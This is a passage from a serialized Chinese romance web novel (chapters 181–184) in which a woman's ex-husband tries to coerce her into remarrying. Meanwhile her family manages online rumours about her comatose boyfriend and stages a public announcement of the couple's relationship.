她虽然不希望舒星若做自己的儿媳,可她分得清主次。
眼下,舒星若就是容泽的救命稻草。
一旦她和季宴礼复婚,以季宴礼那睚眦必报的性子,绝不可能再让她踏进儿子的病房半步。
更何况,季宴礼视她儿子为眼中钉肉中刺,趁他病要他命这种事,那个疯子绝对干得出来。
一边是儿子的命,一边是儿子的事业。东盛和舒星若,都是苏容泽最在意的。
“那可怎么办?”吉广琪一时之间也乱了方寸。
舒延兆脸色铁青,在原地踱了两步,脑海内高速运转,在想对策。
随后他猛地停下:“我给季家安打电话。我倒要问问他,他季家是怎么教出这么个无法无天的儿子的?”
说着,他便从口袋里摸出手机,直接拨通了季家安的电话。
电话一通,舒延兆连寒暄都省了,炮筒子似的开了火:“老季,你现在立刻马上管管你儿子。他要乘火**,拿着若若的把柄胁迫她,逼她复婚!人家若若现在有男朋友了,你儿子这是要干什么?强扭的瓜不甜,这个道理他不懂吗?”
电话那头的
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季家安正在悠闲的喝茶,被这通信息量巨大的咆哮轰得脑袋“嗡”的一声,半天才缓过神来。
“什么玩意儿?胁迫星若?那个混小子他疯了!”
“我看他是疯得不轻!”舒延兆气哼哼地说,“若若明明白白地拒绝了,他倒好,直接上威胁的手段了!老季,你说说,这是人办的事吗?”
季家安是真当舒星若半个女儿看的。
在季家的那六年,舒星若把他们老两口的身体调理得妥妥帖帖,比亲儿子还贴心。
一听季宴礼竟然用这种下三滥的手段逼她,季家安的火气“噌”地就上来了,血压都跟着往上飙。
“舒老,您别急,您先消消气!我这就把那臭小子叫回来,我今天非打断他的腿不可!”季家安气得在电话那头直拍桌子,“您放心,有我跟他妈在,他别想发这个神经!”
舒延兆的火气稍稍降了些:“你可一定要劝住他。再说了,就算他把人逼回来了,一个心不在他身上的人,天天对着他冷着一张脸,他图什么?早晚还得离,有什么意思?”
“对,对,您说得太对了!”季家安连声附和,“我这就办,一定给您和若若一个交代!”
话是这么说,但季家安心里也没底。
自己那个儿子的犟脾气,他比谁都清楚,八头牛都拉不回来。
韦瑛就是怕他天天缠着舒星若,每天致力于给他介绍新对象,安排相亲,可惜他一次都没去过。
挂了电话,舒延兆看着外孙女忧心忡忡的脸,放缓了语气安慰道:“若若,别太担心,季家安还是讲道理的,他应该能拦住。”
“嗯。”舒星若低声应着,可眉宇间的忧色却丝毫未减。
就在这时,一阵急促的手机铃声划破了走廊里压抑的宁静。
是吉广琪的电话。
她接了起来,对面传来杨思淼惊慌失措的声音。
“大姨,不好了!您快看手机,现在网上铺天盖地的,全是二哥重伤住院的消息!”
第182章 七日内他必醒来
杨思淼的话,像一盆冰水从头顶浇下,让吉广琪瞬间遍体生寒。
舒星若见她脸色惨白,忙问道:“阿姨,怎么了?”
吉广琪说:“你打开手机。”
舒星若光速打开手机,自媒体软件上,一个个猩红刺眼的标题冲入她的眼眶。
#东盛集团继承人苏容泽或成植物人#
#天妒英才!苏容泽缆车事故重伤昏迷#
#知情人爆料:苏容泽已无苏醒可能#
热搜前三条,条条都像淬了毒的利刃,直插人心。
营销号们添油加醋,说得有鼻子有眼,就差没直接给苏容泽开追悼会了。
庆幸的是,他们保密工作做得好,没有一张现场照片流出,否则后果不堪设想。
一定是高山远那个王八蛋,季宴礼怎么不打死他呢?
舒星若深吸一口气,强行压下翻涌的情绪,眼神在一瞬间变得清明而冷冽。
她拿出自己的手机,拨通了长期合作的公关公司负责人的电话,“立刻处理网上关于苏容泽的消息,无论花多少钱,用什么手段,一个小时内,我要所有相关词条和视频全部消失。”
电话那头的人被她的气势震慑,连声应是。
挂断电话,她看向同样脸色煞白的吉广琪,语速极快:“阿姨,东盛那边能立刻发公告吗?就说容泽在国外进行高度机密的商业谈判,暂时无法露面。”
吉广琪毕竟是执掌过偌大家业的女人,最初的慌乱过后,迅速冷静下来。
她摇了摇头,眼底闪过沉痛:“企业不是娱乐圈,东盛体量太大,一举一动都被无数双眼睛盯着。这种声明一旦发出,就是把所有退路都堵**。将来万一容泽醒不过来,对东盛将是巨大的反噬,没人能预料到后果。。”
一句话,让刚刚燃起的希望又被浇熄。苏容泽虽然有好转的迹象,但谁也无法保证他什么时候能醒,醒来后又会是怎样。
这其中的变数太大了。
病房内的气氛压抑得让人喘不过气。
吉广琪转头,将最后的希望投向了一直沉默不语的舒延兆,“舒老,您给句实话,容泽最快多久能醒?”
苏容泽的病情实在是太严重了,舒星若毫无把握。
然而,舒延兆却是一派气定神闲,目光沉静而锐利,吐出四个字:“七天之内。”
声音不大,却字字千钧,仿佛定海神针,瞬间稳住了所有人的心神。
吉广琪眼中爆发出惊人的亮光,再没有丝毫犹豫,立刻拿出手机,拨给自己的秘书,斩钉截铁的下达指令:“立刻!在东盛集团官网和所有官方平台发布声明,就说我儿子正在国外进行私密商业谈判,行程不便透露。另外,法务部准备好,东盛集团将对所有造谣者追究到底!”
吩咐完,她看向舒星若,“星若,现在,用你和容泽的手机,官宣你们的恋情。把你们在雪场拍的视频发出去,把水搅浑,用你们的恋情去盖过这些谣言。”
一语惊醒梦中人!
他们的手机在事故中都摔坏了,幸好宗司辰找人修复了数据。
舒星若立刻找出两人的手机,挑了一段最甜蜜的视频。
视频里,苏容泽将她裹在怀里,从高高的雪坡上滑下,周围是皑皑白雪和灿烂阳光,两人的笑声清脆又动人。
她编辑好文案,同时登陆了两人的账号,点击了发送。
发完之后,她再次致电公关公司:“新的任务,推我跟苏容泽官宣的视频,要它在最短的时间内,霸占所有平台的热搜榜首!”
做完这一切,为了不让人怀疑,她强撑着疲惫的身体,驱车回到瑞祥制药,装作一切如常地上下班。
回去的路上,车厢里很安静。
舒星若忍不住看向身旁正在的外公,轻声问:“外公,容泽他真的可以在七天之内醒来吗?”
舒延兆缓缓睁开眼,眼中是洞悉一切的从容与自信:“傻丫头,外公什么时候打过没把握的仗?”
这句平淡却充满力量的话,像一剂强心针,瞬间注入舒星若的心里。
她紧握的拳头松开,眼眶一热,激动地拍了下手:“太好了!只要他能
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醒来,一切就都过去了!”
“嗯。”舒延兆点点头,继续道:“昨晚我琢磨了一个方子,叫茯神远志枣仁汤。取茯神定惊安神,远志开窍启闭,枣仁养心助眠,合欢皮解郁悦神。我已经让行止堂的人煎好了,等会儿想办法瞒天过海送进医院去。”
舒星若一愣,担忧地问:“可是,容泽现在昏迷着,怎么喝药?”
“鼻饲啊。”舒延兆看她一眼,有些好笑又有些心疼,“你这丫头,一遇到他的事就乱了方寸,连最基本的常识都忘了。这药能安神定志,助他神魂归位,是醒转的关键。”
“对哦,我怎么把这个给忘了!”舒星若懊恼地拍了拍额头。
“你现在要做的,就是静心,定神。你若自乱阵脚,谁来救他?”舒延兆语重心长地叮嘱,“晚上去医院,给他按摩头部穴位,所有穴位晚点我发你。还有我特制的活络油,能活血通络,刺激神经,一并带过去。”
“至于唐梵那边,你不用管,晚上我回去给她治。”
外公三言两语,便将一切安排得明明白白,井井有条。
舒星若原本慌乱的心,像是找到了主心骨,一下子安定了下来。
季家老宅这边。
季家安正躺在床上“奄奄一息”,韦瑛拿着粉扑,在他脸颊和嘴唇扑了两下,又用喷雾喷了点水珠,打造发病的妆容。
韦瑛说:“演戏就要演全套,待会儿记得咳嗽两声,要有气无力的那种,知道吗?”
季家安“虚弱”地点点头,配合地哼唧了两声:“知道了,老婆。你说我们这样,能骗过那臭小子吗?”
“先骗了再说。”韦瑛放下化妆工具,满意地看着自己的杰作,一个发病的老头形象跃然床上。
季宴礼接到电话,说季家安**病犯了,便火急火燎地赶了回来。
一进门,就看到韦瑛坐在床边抹眼泪,床上的季家安双目紧闭,脸色惨白,呼吸“微弱”。
季宴礼心头一紧,快步上前:“爸这是怎么了,好好的怎么又犯病了?医生呢?”
第183章 一出双簧戏逼他放手
韦瑛垂眸,手里攥着一张纸巾,擦不存在的眼泪,全靠演技在撑:“医生说你爸是急火攻心,已经来看过了,开了药,让他好生休养。但下次要是再犯,他可能就要直接去见阎王爷了。”
季家安在被子里差点被自己一口气憋死,老婆咒起人来也太狠了。
他感觉自己太阳穴的青筋都在配合着一跳一跳的,用生命在演戏。
季宴礼的眉头拧成了一个川字:“好端端的,我爸怎么会急火攻心?”
他记忆里,自从舒星若接手调理后,父亲的身体就跟小年轻似的。
每天在院子里打太极拳,中气十足,骂起人来声音洪亮,怎么可能被人说几句就倒下了?
韦瑛抬起眼,眼神里三分怨和七分恨,活脱脱一个被不孝子气坏了的老母亲形象:“还不是你干的好事。今天舒延兆亲自打电话过来,把你爸从头到脚数落了一顿,说他教子无方,养出个白眼狼。说我们季家忘恩负义,竟然还逼着星若跟你复婚,他就差指着你爸的鼻子骂了。”
“你爸这辈子哪里受过这种委屈?当场就气得捂着胸口倒下了。”
季宴礼垂下眼帘,一言不发。
舒延兆的脾气他是知道的,刚正不阿,眼里揉不得沙子。被他这么指着鼻子骂,父亲的面子和里子都挂不住,气病了也说得过去。
一时间,愧疚感如潮水般将他淹没。
可那份愧疚之下,还有不甘的暗流在汹涌。
去舒星若的痛苦,像是钝刀子割肉,日夜折磨着他,几乎要了他半条命。
韦瑛看他这副油盐不进的样子,心里恨铁不成钢,嘴上却继续唱着苦情戏:“我就不明白了,你到底在想什么?婚都离了,星若也找了新男朋友,你为什么非要抓着她不放?”
听到“新男朋友”几个字,季宴礼的脸色瞬间沉了下去,周遭的空气都冷了几分:“妈,你没尝过后悔的滋味。我后悔了,后悔自己当初有眼无珠。星若她就像一颗被蒙尘的明珠,光芒万丈,我却把她当了六年的鱼目,弃如敝履。”
“我只想为我当年的年少轻狂买单,我想回到她还爱我入骨的日子。”
韦瑛在心里翻了个巨大的白眼。早知今日,何必当初?当初劝你,你不听,把人作走了,现在在这里演什么情深不悔的戏码,脑子被门挤了还是进水了?
面上,她依旧是那个为儿子操碎了心的慈母:“儿啊,这世上哪有后悔药?星若是个好孩子,可她不爱你了,这是事实。你这样强行把她绑在身边,只会让两个人都痛苦。你不如放手,让她去过自己的日子,也让你自己解脱。”
她说着,又拿起纸巾,象征性地在眼角沾了沾:“你再这么逼下去,舒家人肯定还得闹到你爸跟前来。你爸这身子骨,真的经不起第二次折腾了。”
“你想想,当年你重伤瘫痪,那个何欣第一个就跑了,是星若不离不弃,把你从火海里拉出来的。做人不能这么恩将仇报。而且那孩子的性子刚烈得很,万一你把她逼急了,她想不开弄出个自残什么的,你这辈子能安心吗?”
韦瑛的一字一句,都像锤子一样砸在季宴礼的心上。
他沉默了半晌,依旧没有松口,只是站起身说道:“爸,你好好休息。公司还有事,我先回去了。周末我带许许回来看你。”
看着季宴礼决然离去的背影,韦瑛气得想拿枕头丢过去。
等脚步声彻底消失在楼下,季家安“噌”地一下从床上坐了起来,对着韦瑛问:“怎么样?这臭小子到底听没听进去?”
韦瑛摇了摇头,叹了口气:“我看悬。他对星若那股执念,都快成心魔了。”
季家安一拍大腿:“不成!我再想想别的办法。星若那孩子多好啊,咱们家欠她的,不能再对
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不起人家了。”
季宴礼坐在回去的车里,车窗外流光溢彩的街景飞速**,他的思绪却乱成一团。
一边是病倒的父亲,另一边是他心心念念的前妻,这道选择题,无论怎么选,都让他心如刀绞。
他猛地想起上午自己在电话里逼迫舒星若的样子,她当时是不是也和自己现在一样煎熬?
正当他沉浸在这种自我感动的悲伤中时,一个念头如闪电般划过脑海。
不对!
他记得清清楚楚,舒星若亲口说过,父亲的病在她多年的调理下,已经彻底根治,只要注意保养,绝不会再犯。
舒延兆骂了父亲一顿,但怎么可能在这个节骨眼上就病倒了呢?
保不齐是他们联手做的一场戏。
这个猜想一冒出来,就再也压不下去了。
季宴礼眼底闪过一丝冷意,为了证实心中所想,他立刻摸出手机,拨通了一个号码。
“张医生,你现在去一趟季家老宅,就说是我请你过去给我爸复查身体。记住,别说是我让你去的。”
张医生是季家的另外一个家庭医生,是个心血管的专家。
想用这种盘外招逼他放弃舒星若,门都没有!
车子驶入季氏大厦的地下车库,季宴礼刚下车,就看到特助言永飞早已等在那里,神色前所未有的难看。
“季总……”言永飞的嘴唇哆嗦着,一副天塌下来的表情。
“什么事?”季宴礼心情本就极差,语气也带上了几分不耐。
言永飞深吸一口气,像是要上刑场一般,将手机递了过去,屏幕正亮着。
他声音发紧,一字一顿地说道:“季总,太太……不,舒总,跟苏容泽官宣恋爱了。”
“官宣?”
季宴礼只觉得这两个字像两颗**,瞬间击中了他的心脏。
他惊得脸都快变形了,一把夺过手机。
第184章 官宣恋情
屏幕上,是舒星若的私人账号。
最新一条动态,是一段配上音乐的视频。
视频里,她和苏容泽在皑皑白雪的滑雪场上,笑得灿烂又甜蜜。
苏容泽从背后抱着她,教她滑雪,两人不时低头耳语,亲昵无间。视频的最后,是两人在镜头前,十指紧扣,笑容晃眼。
配文更是简单直接,只有两个字:【我们。】
下面,苏容泽的账号也发了同样的视频,配文是:【我的她。】
评论区早已炸开了锅,点赞和转发以肉眼可见的速度疯狂飙升。
#舒星若苏容泽恋情#的词条正以火箭般的速度冲向热搜榜首。
季宴礼死死地盯着屏幕上那两张笑脸,手机冰冷的金属外壳几乎要被他捏碎。
一股寒意从脚底直冲天灵盖,血液仿佛在这一刻凝固了。
“舒星若,她到底要干什么?”
季宴礼的咆哮在空旷的地库里回荡,震得言永飞心头一颤。
完犊子了,总裁又要发飙了。
他吼完,自己倒先冷静了下来,怒极反笑。
上午苏容泽出事的消息还铺天盖地,下午就风向逆转,变成了舒星若和苏容泽的世纪官宣。
这手公关玩得漂亮。
先是删掉所有的爆料视频,再是东盛集团雷厉风行的发文,紧跟着舒星若就以“女友”身份站出来稳定军心。
好一招釜底抽薪,这是要把水彻底搅浑,让公众摸不清苏容泽的动向。
季宴礼嘴角嗤笑,眼底翻涌着被愚弄的暴戾。
他慢条斯理地整理了一下西装袖口,低声自语道:“星若,你不要以为我是高山远那个蠢货,没有真凭实据就敢乱来。”
他掏出手机,从相册里翻出一张照片,直接发给了舒星若。
那是他在哈市医院,趁乱混进去时偷拍的。
照片里,苏容泽双目紧闭,脸色苍白地躺在ICU里,身上插满了各种管子,一看就是深受重伤。
他就不信,有了这张照片,舒星若还能坐得住。
只要他把这张照片发出去,东盛集团的股价会跌成什么样?
所谓“官宣”不就成了一个天大的笑话,商誉也会一塌糊涂。
发完以后,他迈开长腿走进专用电梯,他等着舒星若惊慌失措的来求他。
瑞祥办公室里,舒星若正埋头在一堆文件中。
三款新药的发布会近在咫尺,市场部刚提拔上来的代理经理虽然能干,但许多核心决策仍需她亲自拍板。
她已经几天没来公司,桌上的文件堆得像座小山。
手机震动了一下。
看到季宴礼发来的那张照片时,她的心脏还是不受控制地猛然一缩,呼吸都急促了起来。
恐惧感再次爬上心头。
她没有半分迟疑,立刻将照片转发给了吉广琪,并附上了一行字。
【阿姨,这是季宴礼在哈市偷拍的。】
几乎是下一秒,吉广琪的回复就弹了出来,显然是将她的对话框置顶了。
【别搭理他,跳梁小丑而已。你外公说了,容泽七日之内必醒。东盛的股价就算一时波动,等容泽醒来一露面,市场信心自然会回来。】
舒星若还是有些不放心:【要是他通过媒体发呢?】媒体发,加上投流,必然又是铺天盖地。
吉广琪运筹帷幄的回复道:【他发,我们就发律师函,告他侵犯个人隐私。**的强制令下来,他就得给我下架。他要是敢用小号或者找海外媒体,手法一样,就是陪他们多玩几天罢了。星若,你把心放进肚子里,不要被这个卑劣小人威胁了。】
跟吉广琪沟通完,舒星若心情平复了下来。
她将手机随手扔到一旁,重新把注意力投入到工作中。
总裁办公室里,季宴礼一边处理着公务,一边在等舒星若来找他。
一个小时过去了,没有。
两个小时过去了,还是没有。
他渐渐有些烦躁,将一份文件重重地摔在桌上
言永飞闻声进来,被他一个眼神又逼了出去。
他想,或许她在硬撑,在想对策。没关系,他有的是耐心。
等到落地窗外的天色从亮转暗,华灯初上,舒星若依然没有
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上来。
季宴礼终于坐不住了,他问言永飞:“星若呢?”
言永飞小心翼翼地答:“舒总下班回去了。”
“下班走了?”季宴礼惊得下巴都快掉了。
她就这么走了?看到那张照片,她不应该是心急如焚,坐立难安吗?怎么还按时下班了?
就在他百思不得其解时,电话响了,是张医生的。
“季总,您父母那边不让我进门,说已经没事了,不需要检查。”
“知道了。”
季宴礼挂了电话,气得笑出了声。
呵,果然是联合起来演戏给他看。
好,真好。
一个个都把他当傻子耍。
他眼中只剩一片势在必得的阴鸷。
这次,谁也别想阻止他。就算是绑,他也要把舒星若绑回自己身边。
舒星若下班后直接开车去了医院。
吉广琪不在,杨思淼过来了。
杨思淼一见她,一脸紧张:“若姐,你怎么这个点来了?不会是我二哥情况恶化了吧?”
苏容泽就是他的天,是他的顶梁柱。
这些年他能安心当个花天酒地的二世祖,全靠苏容泽在前面顶着。
这根柱子要是塌了,他简直不敢想以后的日子。
“瞎说什么呢?”舒星若白了他一眼,扬了扬手里的袋子,“我外公让我来给容泽做头部穴位按摩,这是他下午让人送来的特制活络油。”
“哦哦,那就好,那就好。”杨思淼拍着胸口,长舒一口气,“吓死我了。”
舒星若没再理他,进去正准备换无菌防护服,眼角余光却瞥见一个熟悉又鬼祟的身影——李乐和。
只见李乐和探头探脑地确认了走廊没人,然后飞快地闪身进了苏容泽的病房。
吉广琪安排的保镖也不是吃素的,立刻像影子一样悄无声息地跟了上去。
李乐和进去不过几分钟就出来了,脚步匆匆,神色慌张。
舒星若心头瞬间漫上一层不祥的预感。
她立刻掏出手机,拨通了外面杨思淼的电话,“立刻拦住李乐和,搜身!”